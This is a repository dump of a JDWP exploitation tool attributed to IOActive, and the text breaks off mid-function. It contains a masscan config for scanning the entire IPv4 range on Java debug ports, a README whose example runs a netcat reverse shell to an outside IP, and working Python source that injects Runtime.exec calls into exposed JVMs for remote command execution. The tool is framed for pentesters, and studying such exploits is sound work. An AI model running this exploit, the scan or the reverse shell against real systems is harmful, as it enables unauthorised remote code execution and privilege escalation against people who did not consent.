├── jdwp-masscan.cfg ├── LICENSE ├── README.md └── jdwp-shellifier.py /jdwp-masscan.cfg: -------------------------------------------------------------------------------- 1 | rate = 200000.00 2 | randomize-hosts = true 3 | banners = true 4 | output-format = binary 5 | output-filename = jdwp-scan.bin 6 | rotate = 0 7 | rotate-dir = . 8 | rotate-offset = 0 9 | rotate-filesize = 0 10 | 11 | range = 0.0.0.0-255.255.255.255 12 | ports = 3999,5000,5005,8000,8453,8787-8788,9001,18000 13 | excludefile = exclude.txt 14 | 15 | capture = cert 16 | nocapture = html 17 | 18 | min-packet = 60 19 | hello-string[0] = SkRXUC1IQU5EU0hBS0U= 20 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2012-2017 IOActive 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JDWP exploitation script 2 | 3 | ## What is it ? 4 | This exploitation script is meant to be used by pentesters against active JDWP service, in order to gain Remote Code Execution. 5 | 6 | ## How does it work ? 7 | Well, in a pretty standard way, the script only requires a Python3 interpreter: 8 | ```shell 9 | usage: jdwp-shellifier.py [-h] [-t IP] [-p PORT] [--break-on JAVA_METHOD] [-c COMMAND] 10 | 11 | Universal exploitation script for JDWP 12 | 13 | options: 14 | -h, --help show this help message and exit 15 | -t IP, --target IP Remote target IP (default: 0.0.0.0) 16 | -p PORT, --port PORT Remote target port (default: 8000) 17 | --break-on JAVA_METHOD 18 | Specify full path to method to break on (default: java.net.ServerSocket.accept) 19 | -c COMMAND, --cmd COMMAND 20 | Specify command to execute remotely (default: None) 21 | ``` 22 | 23 | By default, it targeted the `0.0.0.0` IP and `8000` port. 24 | 25 | This command will only inject Java code on the JVM and show some info like Operating System, Java version. Since it does not execute external code/binary, it is totally safe and can be used as Proof-Of-Concept. 26 | ```shell 27 | python3 jdwp-shellifier.py -c "/bin/busybox nc 192.168.45.178 443 -e /bin/bash" 28 | ``` 29 | 30 | This command will actually execute the process with the specified argument **with the rights given to the running JVM**. Thus, if it was ran by `root`, you'll basically get a low-hanging fruit Privilege Escalation. 31 | 32 | Output will looks like: 33 | ```shell 34 | [+] Target: 0.0.0.0:8000 35 | [*] Trying to connect... 36 | [+] Connection successful! 37 | [+] Handshake sent 38 | [+] Handshake successful 39 | [*] Requesting ID sizes from the JDWP server... 40 | • fieldIDSize: 8 41 | • methodIDSize: 8 42 | • objectIDSize: 8 43 | • referenceTypeIDSize: 8 44 | • frameIDSize: 8 45 | [+] ID sizes have been successfully received and set. 46 | [*] Requesting version information from the JDWP server... 47 | • description: Java Debug Wire Protocol (Reference Implementation) version 11.0 48 | JVM Debug Interface version 11.0 49 | JVM version 11.0.16 (OpenJDK 64-Bit Server VM, mixed mode, sharing) 50 | • jdwpMajor: 11 51 | • jdwpMinor: 0 52 | • vmVersion: 11.0.16 53 | • vmName: OpenJDK 64-Bit Server VM 54 | [+] Version information has been successfully received and set. 55 | [+] Found Runtime class: id=0x8b1 56 | [+] Found Runtime.getRuntime(): id=0x7f2ae8023998 57 | [+] Created break event id=0x2 58 | [+] Resume VM signal sent 59 | [+] Waiting for an event on 'accept' 60 | [*] Go triggering the corresponding ServerSocket (e.g., 'nc ip 5000 -z') 61 | [+] Received matching event from thread 0x94d 62 | [+] Payload to send: '/bin/busybox nc 192.168.45.178 443 -e /bin/bash' 63 | [+] Command string object created id:94e 64 | [+] Runtime.getRuntime() returned context id:0x94f 65 | [+] Found Runtime.exec(): id=7f2ae80239d0 66 | [+] Runtime.exec() successful, retId=950 67 | [+] Resume VM signal sent 68 | ``` 69 | 70 | Before sending questions, make sure to read http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html for full understanding of the JDWP protocol. 71 | 72 | ## Thanks 73 | * Ilja Van Sprundel 74 | * Sebastien Macke 75 | 76 | 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /jdwp-shellifier.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Built-in imports 4 | import socket 5 | import traceback 6 | import sys 7 | import time 8 | import struct 9 | import urllib.error 10 | import argparse 11 | 12 | # JDWP protocol variables 13 | HANDSHAKE = b"JDWP-Handshake" 14 | 15 | # Command signatures 16 | VERSION_SIG = (1, 1) 17 | CLASSESBYSIGNATURE_SIG = (1, 2) 18 | ALLCLASSES_SIG = (1, 3) 19 | ALLTHREADS_SIG = (1, 4) 20 | IDSIZES_SIG = (1, 7) 21 | CREATESTRING_SIG = (1, 11) 22 | SUSPENDVM_SIG = (1, 8) 23 | RESUMEVM_SIG = (1, 9) 24 | SIGNATURE_SIG = (2, 1) 25 | FIELDS_SIG = (2, 4) 26 | METHODS_SIG = (2, 5) 27 | GETVALUES_SIG = (2, 6) 28 | CLASSOBJECT_SIG = (2, 11) 29 | INVOKESTATICMETHOD_SIG = (3, 3) 30 | REFERENCETYPE_SIG = (9, 1) 31 | INVOKEMETHOD_SIG = (9, 6) 32 | STRINGVALUE_SIG = (10, 1) 33 | THREADNAME_SIG = (11, 1) 34 | THREADSUSPEND_SIG = (11, 2) 35 | THREADRESUME_SIG = (11, 3) 36 | THREADSTATUS_SIG = (11, 4) 37 | EVENTSET_SIG = (15, 1) 38 | EVENTCLEAR_SIG = (15, 2) 39 | EVENTCLEARALL_SIG = (15, 3) 40 | 41 | # Other codes 42 | MODKIND_COUNT = 1 43 | MODKIND_THREADONLY = 2 44 | MODKIND_CLASSMATCH = 5 45 | MODKIND_LOCATIONONLY = 7 46 | EVENT_BREAKPOINT = 2 47 | SUSPEND_EVENTTHREAD = 1 48 | SUSPEND_ALL = 2 49 | NOT_IMPLEMENTED = 99 50 | VM_DEAD = 112 51 | INVOKE_SINGLE_THREADED = 2 52 | TAG_OBJECT = 76 53 | TAG_STRING = 115 54 | TYPE_CLASS = 1 55 | 56 | 57 | class JDWPClient: 58 | def __init__(self, host: str, port: int = 8000): 59 | """ 60 | Initialize a JDWP (Java Debug Wire Protocol) client that connects to a specified host and port. 61 | 62 | Args: 63 | host (str): The hostname or IP address of the JDWP server to connect to. 64 | port (int, optional): The port number of the JDWP server. Defaults to 8000. 65 | """ 66 | self._host = host 67 | self._port = port 68 | self._methods = {} 69 | self._fields = {} 70 | self._id = 0x01 71 | 72 | self._socket = None 73 | 74 | # Pubic methods 75 | def run(self, break_on_method: str, break_on_class: str, cmd: str) -> bool: 76 | """ 77 | Sets up a breakpoint on a method, resumes the VM, waits for the breakpoint, 78 | then executes a command or prints system properties. 79 | """ 80 | 81 | # 1. get Runtime class reference 82 | runtimeClass = self._get_class_by_name("Ljava/lang/Runtime;") 83 | if runtimeClass is None: 84 | print("[-] Cannot find class Runtime") 85 | return False 86 | print(f"[+] Found Runtime class: id={runtimeClass['refTypeId']:#x}") 87 | 88 | # 2. get getRuntime() meth reference 89 | self._get_methods(runtimeClass["refTypeId"]) 90 | getRuntimeMeth = self._get_method_by_name("getRuntime") 91 | if getRuntimeMeth is None: 92 | print("[-] Cannot find method Runtime.getRuntime()") 93 | return False 94 | print(f"[+] Found Runtime.getRuntime(): id={getRuntimeMeth['methodId']:#x}") 95 | 96 | # 3. setup breakpoint on frequently called method 97 | c = self._get_class_by_name(break_on_class) 98 | if c is None: 99 | print(f"[-] Could not access class '{break_on_class}'") 100 | print("[-] It is possible that this class is not used by application") 101 | print("[-] Test with another one with option `--break-on`") 102 | return False 103 | 104 | self._get_methods(c["refTypeId"]) 105 | m = self._get_method_by_name(break_on_method) 106 | if m is None: 107 | print(f"[-] Could not access method '{break_on_method}'") 108 | return False 109 | 110 | loc = bytes([TYPE_CLASS]) 111 | loc += self._format(self.referenceTypeIDSize, c["refTypeId"]) 112 | loc += self._format(self.methodIDSize, m["methodId"]) 113 | loc += struct.pack(">II", 0, 0) 114 | data = [ 115 | (MODKIND_LOCATIONONLY, loc), 116 | ] 117 | rId = self._send_event(EVENT_BREAKPOINT, *data) 118 | print(f"[+] Created break event id={rId:#x}") 119 | 120 | # 4. resume vm and wait for event 121 | self._resume_vm() 122 | 123 | print(f"[+] Waiting for an event on '{args.break_on_method}'") 124 | if args.break_on_method == "accept": 125 | print( 126 | f"[*] Go triggering the corresponding ServerSocket (e.g., 'nc ip 5000 -z')" 127 | ) 128 | while True: 129 | ret = self._parse_event_breakpoint(buf=self._wait_for_event(), event_id=rId) 130 | if ret is not None: 131 | rId, tId, loc = ret 132 | print(f"[+] Received matching event from thread {tId:#x}") 133 | break 134 | 135 | self._clear_event(EVENT_BREAKPOINT, rId) 136 | 137 | # 5. Now we can execute any code 138 | if cmd: 139 | self._exec_payload( 140 | tId, 141 | runtimeClass["refTypeId"], 142 | getRuntimeMeth["methodId"], 143 | cmd, 144 | ) 145 | else: 146 | self._exec_info(tId) 147 | 148 | self._resume_vm() 149 | return True 150 | 151 | # Dunders 152 | def __repr__(self): 153 | return f"JDWPClient(host='{self._host}', port={self._port})" 154 | 155 | def __str__(self): 156 | return f"JDWPClient connected to {self._host}:{self._port}" 157 | 158 | def __enter__(self): 159 | self._handshake(self._host, self._port) 160 | self._get_id_sizes() 161 | self._get_version() 162 | self._get_loaded_classes() 163 | return self 164 | 165 | def __exit__(self, exc_type, exc_value, traceback): 166 | if self._socket: 167 | self._socket.close() 168 | self._socket = None 169 | 170 | # Private methods 171 | def _create_packet(self, cmdsig, data=b""): 172 | """ 173 | Create a JDWP packet with the specified command signature and data. 174 | 175 | Args: 176 | cmdsig (tuple): A tuple containing the command set and the command within that set. 177 | data (bytes, optional): The data to be included in the packet. Defaults to an empty bytes object. 178 | 179 | Returns: 180 | bytes: A binary string representing the constructed JDWP packet. 181 | """ 182 | flags = 0x00 183 | cmdset, cmd = cmdsig 184 | pktlen = len(data) + 11 185 | pkt = struct.pack(">IIBBB", pktlen, self._id, flags, cmdset, cmd) 186 | pkt += data 187 | self._id += 2 188 | return pkt 189 | 190 | def _read_reply(self) -> bytes: 191 | """ 192 | Reads a reply from the JDWP server and returns the packet data. 193 | 194 | Raises: 195 | Exception: If an error code is received in the reply packet. 196 | 197 | Returns: 198 | bytes: The raw packet data received from the server. 199 | """ 200 | # Receive the header from the socket 201 | header = self._socket.recv(11) 202 | if len(header) < 11: 203 | raise Exception("Incomplete reply header") 204 | 205 | # Unpack the header 206 | pktlen, id, flags, errcode = struct.unpack(">IIcH", header) 207 | 208 | # Check for reply packet type and error code 209 | if flags == b"\x80": # b'\x80' is the flag for a reply packet 210 | if errcode != 0: 211 | raise Exception(f"Received error code {errcode}") 212 | 213 | # Initialize an empty bytes object for the buffer 214 | buf = b"" 215 | while len(buf) + 11 < pktlen: 216 | data = self._socket.recv(1024) 217 | if data: 218 | buf += data 219 | else: 220 | # If no data is received, we wait a bit before trying again 221 | time.sleep(1) 222 | 223 | # Return the buffer of bytes 224 | return buf 225 | 226 | def _parse_entries(self, buf: bytes, formats: list, explicit: bool = True) -> list: 227 | """ 228 | Parses entries from a buffer according to the given format specifiers. 229 | Supports explicit count of entries or assumes a single entry if not explicit. 230 | 231 | Args: 232 | buf (bytes): The buffer containing the data to parse. 233 | formats (list): A list of tuples where each tuple contains the format 234 | specifier and the corresponding name of the field. 235 | explicit (bool): If True, expects the number of entries as the first 236 | 4 bytes of the buffer. Defaults to True. 237 | 238 | Returns: 239 | list: A list of dictionaries, each representing a parsed entry. 240 | """ 241 | entries = [] 242 | index = 0 243 | 244 | if explicit: 245 | (nb_entries,) = struct.unpack(">I", buf[:4]) 246 | buf = buf[4:] 247 | else: 248 | nb_entries = 1 249 | 250 | for i in range(nb_entries): 251 | data = {} 252 | for fmt, name in formats: 253 | if fmt == "L" or fmt == 8: 254 | (data[name],) = struct.unpack(">Q", buf[index : index + 8]) 255 | index += 8 256 | elif fmt == "I" or fmt == 4: 257 | (data[name],) = struct.unpack(">I", buf[index : index + 4]) 258 | index += 4 259 | elif fmt == "S": 260 | (str_len,) = struct.unpack(">I", buf[index : index + 4]) 261 | data[name] = buf[index + 4 : index + 4 + str_len].decode("utf-8") 262 | index += 4 + str_len 263 | elif fmt == "C": 264 | (data[name],) = struct.unpack(">c", buf[index : index + 1]) 265 | index += 1 266 | elif fmt == "Z": 267 | # Assuming this is a custom format and `_solve_string` is a method defined elsewhere. 268 | (t,) = struct.unpack(">c", buf[index : index + 1]) 269 | index += 1 270 | if t == b"s": 271 | data[name] = self._solve_string(buf[index : index + 8]) 272 | index += 8 273 | elif t == b"I": 274 | (data[name],) = struct.unpack(">I", buf[index : index + 4]) 275 | index += 4 276 | else: 277 | print(f"[x] Error: Unknown format {fmt}") 278 | sys.exit(1) 279 | entries.append(data) 280 | 281 | return entries 282 | 283 | def _format(self, fmt, value): 284 | if fmt == "L" or fmt == 8: 285 | return struct.pack(">Q", value) 286 | 287 | if fmt == "I" or fmt == 4: 288 | return struct.pack(">I", value) 289 | 290 | raise Exception("Unknown format") 291 | 292 | def _unformat(self, fmt, value): 293 | """ 294 | Unpacks and converts a bytes object to a Python data type based on the given format. 295 | 296 | This method is used to convert bytes received from the server into a usable Python data type. 297 | It supports unpacking 64-bit and 32-bit unsigned integers. 298 | 299 | Args: 300 | fmt (str or int): The format character ('L' for 64-bit or 'I' for 32-bit unsigned integer) 301 | or the size of the data to be unpacked (8 for 64-bit, 4 for 32-bit). 302 | value (bytes): The bytes object to be unpacked. 303 | 304 | Returns: 305 | int: The unpacked integer. 306 | 307 | Raises: 308 | ValueError: If the input bytes object does not contain enough bytes for the specified format. 309 | Exception: If the format is unknown or unsupported. 310 | """ 311 | try: 312 | if fmt in ("L", 8): 313 | # Unpack a 64-bit unsigned integer from the beginning of the byte sequence. 314 | return struct.unpack(">Q", value[:8])[0] 315 | elif fmt in ("I", 4): 316 | # Unpack a 32-bit unsigned integer from the beginning of the byte sequence. 317 | return struct.unpack(">I", value[:4])[0] 318 | else: 319 | # Raise an exception if the format is not recognized. 320 | raise Exception(f"Unknown format: {fmt}") 321 | except struct.error as e: 322 | # Raise a more specific error if the bytes object is too short. 323 | raise ValueError(f"Insufficient bytes for format '{fmt}': {e}") 324 | 325 | def _handshake(self, host: str, port: int): 326 | """ 327 | Establish a handshake with the JDWP server specified by the host and port. 328 | 329 | This method initiates a socket connection to the server and sends a handshake 330 | message. It then waits for a handshake response to confirm successful communication. 331 | 332 | Args: 333 | host (str): The hostname or IP address of the JDWP server to connect to. 334 | port (int): The port number on which the JDWP server is listening. 335 | 336 | Raises: 337 | Exception: If the socket connection fails, an exception with the error message is raised. 338 | Exception: If the handshake is not successful, an exception is raised. 339 | """ 340 | print(f"[+] Target: {host}:{port}") 341 | # Create a new socket using the default family and socket type. 342 | current_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 343 | try: 344 | print("[*] Trying to connect...") 345 | current_socket.connect((host, port)) 346 | except socket.error as msg: 347 | raise Exception(f"Failed to connect: {msg}") 348 | else: 349 | print("[+] Connection successful!") 350 | 351 | # Send the predefined handshake message to the server. 352 | current_socket.send(HANDSHAKE) 353 | print("[+] Handshake sent") 354 | 355 | # Wait for the server to send back the handshake message. 356 | received_handshake = current_socket.recv(len(HANDSHAKE)) 357 | 358 | # Check if the received message matches the handshake message. 359 | if received_handshake != HANDSHAKE: 360 | # If it doesn't match, close the socket and raise an exception. 361 | current_socket.close() 362 | raise Exception("Failed to handshake with the server.") 363 | 364 | # If the handshake is successful, store the socket for future communication. 365 | self._socket = current_socket 366 | print("[+] Handshake successful") 367 | 368 | def _get_version(self): 369 | """ 370 | Requests the JDWP and VM version information from the server. 371 | 372 | This method sends a packet with the version signature to the server, 373 | then reads the reply and sets the corresponding attributes on the client 374 | with the server's JDWP protocol version and VM version details. 375 | 376 | Raises: 377 | Exception: If there is an error in reading the reply from the server. 378 | 379 | Returns: 380 | None: This method sets attributes on the client instance and does not return anything. 381 | """ 382 | # Send a packet with the version signature to the server. 383 | print("[*] Requesting version information from the JDWP server...") 384 | self._socket.sendall(self._create_packet(VERSION_SIG)) 385 | 386 | try: 387 | # Read the reply from the server. 388 | buf = self._read_reply() 389 | except Exception as error: 390 | # If there's an error reading the reply, print an error message and re-raise the exception. 391 | print(f"[!] Error reading version information: {error}") 392 | raise 393 | 394 | # Define the format for parsing the version information. 395 | formats = [ 396 | ("S", "description"), 397 | ("I", "jdwpMajor"), 398 | ("I", "jdwpMinor"), 399 | ("S", "vmVersion"), 400 | ("S", "vmName"), 401 | ] 402 | 403 | # Parse the entries and set the attributes on the client instance. 404 | for entry in self._parse_entries(buf, formats, False): 405 | for name, value in entry.items(): 406 | setattr(self, name, value) 407 | print(f"\t• {name}: {value}") 408 | 409 | print("[+] Version information has been successfully received and set.") 410 | 411 | def _get_id_sizes(self): 412 | """ 413 | Requests the sizes of various ID types from the JDWP server. 414 | 415 | This method sends a packet with the ID sizes signature to the server, 416 | then reads the reply and sets the corresponding attributes on the client. 417 | 418 | Raises: 419 | Exception: If there is an error in reading the reply from the server. 420 | 421 | Returns: 422 | None: This method sets attributes on the client instance and does not return anything. 423 | """ 424 | # Send a packet with the ID sizes signature to the server. 425 | print("[*] Requesting ID sizes from the JDWP server...") 426 | self._socket.sendall(self._create_packet(IDSIZES_SIG)) 427 | 428 | try: 429 | # Read the reply from the server. 430 | buf = self._read_reply() 431 | except Exception as error: 432 | # If there's an error reading the reply, print an error message and re-raise the exception. 433 | print(f"[!] Error reading ID sizes: {error}") 434 | raise 435 | 436 | # Define the format for parsing the ID sizes. 437 | formats = [ 438 | ("I", "fieldIDSize"), 439 | ("I", "methodIDSize"), 440 | ("I", "objectIDSize"), 441 | ("I", "referenceTypeIDSize"), 442 | ("I", "frameIDSize"), 443 | ] 444 | 445 | # Parse the entries and set the attributes on the client instance. 446 | for entry in self._parse_entries(buf, formats, False): 447 | for name, value in entry.items(): 448 | setattr(self, name, value) 449 | print(f"\t• {name}: {value}") 450 | 451 | print("[+] ID sizes have been successfully received and set.") 452 | 453 | def _all_threads(self) -> list: 454 | """ 455 | Retrieve information about all threads from the JDWP server. 456 | 457 | Returns: 458 | list: A list of dictionaries containing thread information. 459 | """ 460 | if hasattr(self, "threads"): 461 | return self.threads 462 | 463 | self._socket.sendall(self._create_packet(ALLTHREADS_SIG)) 464 | buf = self._read_reply() 465 | formats = [(self.objectIDSize, "threadId")] 466 | self.threads = self._parse_entries(buf, formats) 467 | return self.threads 468 | 469 | def _get_thread_by_name(self, name: str): 470 | """ 471 | Find a thread by its name. 472 | 473 | Args: 474 | name (str): The name of the thread to search for. 475 | 476 | Returns: 477 | dict or None: A dictionary containing thread information if found, or None if not found. 478 | """ 479 | self._all_threads() 480 | for t in self.threads: 481 | threadId = self._format(self.objectIDSize, t["threadId"]) 482 | self._socket.sendall(self._create_packet(THREADNAME_SIG, data=threadId)) 483 | buf = self._read_reply() 484 | if len(buf) and name == self._read_string(buf): 485 | return t 486 | return None 487 | 488 | def _get_loaded_classes(self): 489 | """ 490 | Retrieves a list of all classes currently loaded by the JVM. 491 | 492 | This method sends a command to request all classes from the JVM and parses the response. 493 | It caches the result to prevent unnecessary network traffic on subsequent calls. 494 | 495 | Returns: 496 | list: A list of dictionaries, each containing details of a class such as type tag, type ID, 497 | signature, and status. 498 | 499 | Raises: 500 | Exception: If there's a failure in sending the command or receiving/parsing the response. 501 | """ 502 | # Check if the classes have already been retrieved and cached. 503 | if not hasattr(self, "classes"): 504 | # Send the command to get all classes. 505 | self._socket.sendall(self._create_packet(ALLCLASSES_SIG)) 506 | # Read the reply from the server. 507 | buf = self._read_reply() 508 | # Define the format for each class entry. 509 | formats = [ 510 | ("C", "refTypeTag"), 511 | (self.referenceTypeIDSize, "refTypeId"), 512 | ("S", "signature"), 513 | ("I", "status"), 514 | ] 515 | # Parse the entries and cache the results. 516 | self.classes = self._parse_entries(buf, formats) 517 | 518 | # Return the cached list of classes. 519 | return self.classes 520 | 521 | def _get_class_by_name(self, name: str): 522 | """ 523 | Find a class by its name. 524 | 525 | Args: 526 | name (str): The name of the class to search for. 527 | 528 | Returns: 529 | dict or None: A dictionary containing class information if found, or None if not found. 530 | """ 531 | for entry in self.classes: 532 | if entry["signature"].lower() == name.lower(): 533 | return entry 534 | return None 535 | 536 | def _get_methods(self, refTypeId: int): 537 | """ 538 | Retrieve methods associated with a reference type. 539 | 540 | Args: 541 | refTypeId (int): The reference type ID for which to retrieve methods. 542 | 543 | Returns: 544 | list: A list of dictionaries containing method information. 545 | """ 546 | if refTypeId not in self._methods: 547 | refId = self._format(self.referenceTypeIDSize, refTypeId) 548 | self._socket.sendall(self._create_packet(METHODS_SIG, data=refId)) 549 | buf = self._read_reply() 550 | formats = [ 551 | (self.methodIDSize, "methodId"), 552 | ("S", "name"), 553 | ("S", "signature"), 554 | ("I", "modBits"), 555 | ] 556 | self._methods[refTypeId] = self._parse_entries(buf, formats) 557 | return self._methods[refTypeId] 558 | 559 | def _get_method_by_name(self, name: str): 560 | """ 561 | Find a method by its name. 562 | 563 | Args: 564 | name (str): The name of the method to search for. 565 | 566 | Returns: 567 | dict or None: A dictionary containing method information if found, or None if not found. 568 | """ 569 | for refId in list(self._methods.keys()): 570 | for entry in self._methods[refId]: 571 | if entry["name"].lower() == name.lower(): 572 | return entry 573 | return None 574 | 575 | def _get_fields(self, refTypeId): 576 | if refTypeId not in self._fields: 577 | refId = self._format(self.referenceTypeIDSize, refTypeId) 578 | self._socket.sendall(self._create_packet(FIELDS_SIG, data=refId)) 579 | buf = self._read_reply() 580 | formats = [ 581 | (self.fieldIDSize, "fieldId"), 582 | ("S", "name"), 583 | ("S", "signature"), 584 | ("I", "modbits"), 585 | ] 586 | self._fields[refTypeId] = self._parse_entries(buf, formats) 587 | return self._fields[refTypeId] 588 | 589 | def _get_value(self, refTypeId, fieldId): 590 | data = self._format(self.referenceTypeIDSize, refTypeId) 591 | data += struct.pack(">I", 1) 592 | data += self._format(self.fieldIDSize, fieldId) 593 | self._socket.sendall(self._create_packet(GETVALUES_SIG, data=data)) 594 | buf = self._read_reply() 595 | formats = [("Z", "value")] 596 | field = self._parse_entries(buf, formats)[0] 597 | return field 598 | 599 | def _create_string(self, data: bytes): 600 | buf = self._build_string(data) 601 | self._socket.sendall(self._create_packet(CREATESTRING_SIG, data=buf)) 602 | buf = self._read_reply() 603 | return self._parse_entries(buf, [(self.objectIDSize, "objId")], False) 604 | 605 | def _build_string(self, data: bytes): 606 | return struct.pack(">I", len(data)) + data 607 | 608 | def _read_string(self, data): 609 | size = struct.unpack(">I", data[:4])[0] 610 | return data[4 : 4 + size] 611 | 612 | def _suspend_vm(self): 613 | self._socket.sendall(self._create_packet(SUSPENDVM_SIG)) 614 | print("[+] Suspend VM signal sent") 615 | self._read_reply() 616 | 617 | def _resume_vm(self) -> None: 618 | self._socket.sendall(self._create_packet(RESUMEVM_SIG)) 619 | print("[+] Resume VM signal sent") 620 | self._read_reply() 621 | 622 | def _invoke_static(self, classId, threadId, methId, *args): 623 | data = self._format(self.referenceTypeIDSize, classId) 624 | data += self._format(self.objectIDSize, threadId) 625 | data += self._format(self.methodIDSize, methId) 626 | data += struct.pack(">I", len(args)) 627 | for arg in args: 628 | data += arg 629 | data += struct.pack(">I", 0) 630 | 631 | self._socket.sendall(self._create_packet(INVOKESTATICMETHOD_SIG, data=data)) 632 | buf = self._read_reply() 633 | return buf 634 | 635 | def _invoke(self, objId, threadId, classId, methId, *args): 636 | data = self._format(self.objectIDSize, objId) 637 | data += self._format(self.objectIDSize, threadId) 638 | data += self._format(self.referenceTypeIDSize, classId) 639 | data += self._format(self.methodIDSize, methId) 640 | data += struct.pack(">I", len(args)) 641 | for arg in args: 642 | data += arg 643 | data += struct.pack(">I", 0) 644 | 645 | self._socket.sendall(self._create_packet(INVOKEMETHOD_SIG, data=data)) 646 | buf = self._read_reply() 647 | return buf 648 | 649 | def _solve_string(self, objId): 650 | self._socket.sendall(self._create_packet(STRINGVALUE_SIG, data=objId)) 651 | buf = self._read_reply() 652 | if len(buf): 653 | return self._read_string(buf) 654 | 655 | return "" 656 | 657 | def _query_thread(self, threadId, kind): 658 | data = self._format(self.objectIDSize, threadId) 659 | self._socket.sendall(self._create_packet(kind, data=data)) 660 | self._read_reply() 661 | return 662 | 663 | def _suspend_thread(self, threadId): 664 | return self._query_thread(threadId, THREADSUSPEND_SIG) 665 | 666 | def _status_thread(self, threadId): 667 | return self._query_thread(threadId, THREADSTATUS_SIG) 668 | 669 | def _resume_thread(self, threadId): 670 | return self._query_thread(threadId, THREADRESUME_SIG) 671 | 672 | def _send_event(self, event_code, *args): 673 | """ 674 | Sends an event to the JDWP server. 675 | 676 | Args: 677 | event_code (int): The event code corresponding to the event to be sent. 678 | *args: Variable length argument list representing the event arguments. 679 | 680 | Returns: 681 | int: The request ID from the event sent. 682 | 683 | Raises: 684 | Exception: If sending the event or reading the reply fails. 685 | """ 686 | data = bytes([event_code, SUSPEND_ALL]) + struct.pack(">I", len(args)) 687 | 688 | for kind, option in args: 689 | data += bytes([kind]) + option 690 | 691 | self._socket.sendall(self._create_packet(EVENTSET_SIG, data=data)) 692 | buf = self._read_reply() 693 | return struct.unpack(">I", buf)[0] 694 | 695 | def _clear_event(self, event_code, request_id): 696 | """ 697 | Clears a set event from the JDWP server. 698 | 699 | Args: 700 | event_code (int): The event code corresponding to the event to be cleared. 701 | request_id (int): The request ID of the event to clear. 702 | 703 | Raises: 704 | Exception: If clearing the event or reading the reply fails. 705 | """ 706 | data = bytes([event_code]) + struct.pack(">I", request_id) 707 | self._socket.sendall(self._create_packet(EVENTCLEAR_SIG, data=data)) 708 | self._read_reply() 709 | 710 | def _clear_events(self): 711 | """ 712 | Clears all set events from the JDWP server. 713 | 714 | Raises: 715 | Exception: If clearing the events or reading the reply fails. 716 | """ 717 | self._socket.sendall(self._create_packet(EVENTCLEARALL_SIG)) 718 | self._read_reply() 719 | 720 | def _wait_for_event(self): 721 | """ 722 | Waits and reads the next event from the JDWP server. 723 | 724 | Returns: 725 | bytes: The raw event data received. 726 | 727 | Raises: 728 | Exception: If reading the event fails. 729 | """ 730 | buf = self._read_reply() 731 | return buf 732 | 733 | def _parse_event_breakpoint(self, buf, event_id): 734 | """ 735 | Parses a breakpoint event received from the JDWP server. 736 | 737 | Args: 738 | buf (bytes): The buffer containing the event data. 739 | event_id (int): The ID of the event to parse. 740 | 741 | Returns: 742 | tuple: A tuple containing the request ID, thread ID, and location (-1 since it's not used) if the event IDs match. 743 | None: If the received event ID does not match the expected event_id. 744 | 745 | Raises: 746 | Exception: If unpacking the buffer fails. 747 | """ 748 | received_id = struct.unpack(">I", buf[6:10])[0] 749 | if received_id != event_id: 750 | return None 751 | thread_id = self._unformat(self.objectIDSize, buf[10 : 10 + self.objectIDSize]) 752 | location = -1 # not used in this context 753 | return received_id, thread_id, location 754 | 755 | def _exec_info(self, threadId: int): 756 | # 757 | # This function calls java.lang.System.getProperties() and 758 | # displays OS properties (non-intrusive) 759 | # 760 | properties = { 761 | "java.version": "Java Runtime Environment version", 762 | "java.vendor": "Java Runtime Environment vendor", 763 | "java.vendor.url": "Java vendor URL", 764 | "java.home": "Java installation directory", 765 | "java.vm.specification.version": "Java Virtual Machine specification version", 766 | "java.vm.specification.vendor": "Java Virtual Machine specification vendor", 767 | "java.vm.specification.name": "Java Virtual Machine specification name", 768 | "java.vm.version": "Java Virtual Machine implementation version", 769 | "java.vm.vendor": "Java Virtual Machine implementation vendor", 770 | "java.vm.name": "Java Virtual Machine implementation name", 771 | "java.specification.version": "Java Runtime Environment specification version", 772 | "java.specification.vendor": "Java Runtime Environment specification vendor", 773 | "java.specification.name": "Java Runtime Environment specification name", 774 | "java.class.version": "Java class format version number", 775 | "java.class.path": "Java class path", 776 | "java.library.path": "List of paths to search when loading libraries", 777 | "java.io.tmpdir": "Default temp file path", 778 | "java.compiler": "Name of JIT compiler to use", 779 | "java.ext.dirs": "Path of extension directory or directories", 780 | "os.name": "Operating system name", 781 | "os.arch": "Operating system architecture", 782 | "os.version": "Operating system version", 783 | "file.separator": "File separator", 784 | "path.separator": "Path separator", 785 | "user.name": "User's account name", 786 | "user.home": "User's home directory", 787 | "user.dir": "User's current working directory", 788 | } 789 | 790 | systemClass = self._get_class_by_name("Ljava/lang/System;") 791 | if systemClass is None: 792 | print("[-] Cannot find class java.lang.System") 793 | return False 794 | 795 | self._get_methods(systemClass["refTypeId"]) 796 | getPropertyMeth = self._get_method_by_name("getProperty") 797 | if getPropertyMeth is None: 798 | print("[-] Cannot find method System.getProperty()") 799 | return False 800 | 801 | for propStr, propDesc in properties.items(): 802 | propObjIds = self._create_string(propStr) 803 | if len(propObjIds) == 0: 804 | print("[-] Failed to allocate command") 805 | return False 806 | propObjId = 